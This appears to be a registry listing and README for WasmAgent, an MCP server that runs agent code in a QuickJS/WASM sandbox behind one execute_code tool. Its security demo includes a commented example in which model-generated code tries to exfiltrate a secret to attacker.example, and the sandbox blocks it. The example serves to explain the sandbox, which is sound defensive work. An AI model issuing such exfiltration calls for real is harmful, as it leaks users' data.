Provides WASM-sandboxed code execution and tool management through a single execute_code interface to reduce context costs.
Also known as WasmAgent/wasmagent-js, @wasmagent/mcp-server
- Stars
- 7
- Tools
- —
- Downloads, 30 days
- —
- Latest version
- 1.1.1
- Last commit
- Nov 12, 2026
- License
- Apache-2.0
What is WasmAgent MCP?
WasmAgent provides WASM-sandboxed code execution and tool management through a single execute_code interface to reduce context costs.
Summary generated from the project's README
About WasmAgent MCP server
Running complex toolsets through a single interface is what this server enables for developers building AI agents. Instead of exposing dozens of individual tools to a host, which increases context costs, it provides a sandboxed environment using a QuickJSKernel. This approach allows a model to interact with a limited set of tools, specifically docs_search and execute_code, while the server handles internal tool dispatching via a script.
Developers can deploy this via stdio for local use in Claude Desktop or Cursor, or use HTTP handlers for cloud environments like Cloudflare Workers or Vercel. The server uses a CapabilityManifest to enforce security boundaries, such as limiting cpuMs to 5,000 or restricting allowedHosts and allowedPaths. This ensures that any code executed within the WASM sandbox remains within defined memory and network limits.
What you can do with it
- 1Reduce context window costsAn AI client can manage dozens of tools without bloating the prompt by using a single code execution interface.
- 2Execute sandboxed logicA developer can provide a model with the ability to run scripts within a controlled QuickJS environment.
- 3Enforce strict security policiesYou can prevent model-generated code from accessing the network or filesystem by defining specific capabilities.
- 4Deploy to cloud environmentsYou can host your agent tools on serverless platforms using the provided fetch handler.
Written from the project's README. Every use case is checked against a quote from it.
How to install WasmAgent MCP
Formats verified 10 Nov 2026Add to CursorAdd to GooseInstall WasmAgent MCP in Claude Code
$ claude mcp add mcp-server -- npx -y @wasmagent/mcp-serverInstall WasmAgent MCP in Cursor
~/.cursor/mcp.json
{
"mcpServers": {
"mcp-server": {
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}Install WasmAgent MCP in VS Code
.vscode/mcp.json
{
"servers": {
"mcp-server": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}Install WasmAgent MCP in VS Code CLI
$ code --add-mcp '{"name":"mcp-server","type":"stdio","command":"npx","args":["-y","@wasmagent/mcp-server"]}'Install WasmAgent MCP in Claude Desktop
claude_desktop_config.json
{
"mcpServers": {
"mcp-server": {
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}Install WasmAgent MCP in Codex
$ codex mcp add mcp-server -- npx -y @wasmagent/mcp-serverInstall WasmAgent MCP in Codex config.toml
~/.codex/config.toml
[mcp_servers.mcp-server] command = "npx" args = ["-y", "@wasmagent/mcp-server"]
Install WasmAgent MCP in Gemini CLI
$ gemini mcp add -s user mcp-server npx -- -y @wasmagent/mcp-serverInstall WasmAgent MCP in Gemini settings.json
~/.gemini/settings.json
{
"mcpServers": {
"mcp-server": {
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}Automated checks
Ran Nov 14, 2026Full report →Passed our automated checks. That is not a security audit: read the code and give the server the narrowest access it needs. How checks work
- Source repository linked and reachablewasmagent/wasmagent-js is public and reachablegithub.com/wasmagent/wasmagent-js ↗Pass
- Package names this repository as its source@wasmagent/mcp-server names wasmagent/wasmagent-js as sourcenpmjs.com/package/@wasmagent/mcp-server ↗Pass
- Build provenance (Sigstore attestation)No build attestation published for this releaseNot checked
- Open source license (OSI)Apache-2.0spdx.org/licenses/Apache-2.0.html ↗Pass
- Commit or release in the last yearLast commit or release 2026-11-12github.com/wasmagent/wasmagent-js ↗Pass
- OpenSSF ScorecardNot checked
- Package name not close to a popular packageNo popular package one edit away from @wasmagent/mcp-serverPass
- No critical advisory in the package or its dependencies5 resolved dependencies checked; no critical advisoryosv.dev ↗Pass
- No hidden instructions to the model0 tool descriptions and the README read; no override phrases, credential paths or hidden charactersPass
- Destructive tools are labelledNot checked
- Remote endpoint answers the MCP handshakeNot checked
README
View on GitHub/mcp-server
Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.
Expose any wasmagent agent as a Model Context Protocol (MCP) server.
Part of wasmagent — a TypeScript + WASM agent runtime.
Before / After
Replacing a bare tool list published directly to the host with a sandboxed
execute_code surface:
+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+import { ToolRegistry } from "@wasmagent/core";
-// Before: host sees every tool directly — 40 tools × schema = huge context cost
-server.setRequestHandler(ListToolsRequestSchema, () => ({
- tools: [...allFortyTools],
-}));
+// After: host sees ONLY docs_search + execute_code; model dispatches internally
+const tools = new ToolRegistry();
+// tools.register(...) — register your 40 tools here
+
+await runStdio(createCodeModeServer({
+ tools,
+ kernel: new QuickJSKernel(),
+ capabilities: { allowedHosts: [], cpuMs: 5_000 },
+ serverInfo: { name: "my-agent", version: "1.0.0" },
+}));
At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct
approach. The model calls execute_code with a script; the script calls
callTool(...) for whichever tools it needs — all under one CapabilityManifest.
Install
npm install /mcp-server /core
Three transports, one server
The McpAgentServer is transport-agnostic: it speaks JSON-RPC
through a single handle(req) method. Pick the transport that fits
your host:
1. Stdio (Claude Desktop, Cursor, Glama health-check, …)
# Zero-config default — code-mode server with VmKernel and no
# downstream tools. Useful for sanity / introspection only.
npx /mcp-server
For a real deployment, write a small Node script and call
runStdio() with your own server:
// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio";
import { QuickJSKernel } from "/kernel-quickjs";
import { ToolRegistry } from "/core";
const tools = new ToolRegistry();
// tools.register(...) — your tools here
await runStdio(createCodeModeServer({
tools,
kernel: new QuickJSKernel(),
capabilities: { allowedHosts: [], cpuMs: 5000 },
serverInfo: { name: "my-agent", version: "1.0.0" },
}));
2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)
import { createCodeModeServer, createFetchHandler } from "/mcp-server";
const server = createCodeModeServer({ /* … */ });
const handler = createFetchHandler(server);
// In a Worker: export default { fetch: handler }
3. Direct handle()
If you have a custom transport, the protocol-level brain is one
async (req) => { response } call away — see McpAgentServer.handle().
Code-mode (two-tool surface)
createCodeModeServer() wraps any tool registry into a
docs_search + execute_code MCP surface. At N=30 downstream
tools the bootstrap-token cost drops to 13.6% of direct MCP. See
docs/guides/code-mode.md.
Security demo
CapabilityManifest enforces network and filesystem policy at the kernel
boundary for every script the model runs through execute_code:
import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
import { ToolRegistry } from "@wasmagent/core";
const tools = new ToolRegistry();
// tools.register(...)
await runStdio(createCodeModeServer({
tools,
kernel: new QuickJSKernel(),
capabilities: {
allowedHosts: [], // no outbound network
allowedPaths: [], // no filesystem access
cpuMs: 5_000,
memoryLimitBytes: 64 * 1024 * 1024,
},
serverInfo: { name: "my-agent", version: "1.0.0" },
}));
// Model-generated code inside execute_code that tries to exfiltrate data:
// fetch("https://attacker.example/exfil?data=secret")
// → throws: network access denied — host "attacker.example" not in allowedHosts
The manifest is enforced regardless of which downstream tools the script
calls — one declaration covers the entire execute_code surface.
License
Apache-2.0 — © wasmagent contributors
WasmAgent MCP questions
How do I add WasmAgent MCP to Claude Code?
Run claude mcp add mcp-server -- npx -y @wasmagent/mcp-server in your terminal. Add --scope user to make it available in every project.
How do I add WasmAgent MCP to Cursor?
Open ~/.cursor/mcp.json and add the server under mcpServers, using the Cursor config shown in the install section above.
How does this server reduce context costs?
Instead of exposing every tool directly to the host, it provides a single execute_code surface where the model dispatches tools internally, significantly lowering bootstrap-token costs.
How is security enforced during code execution?
Security is enforced via a CapabilityManifest that restricts network access and filesystem paths at the kernel boundary.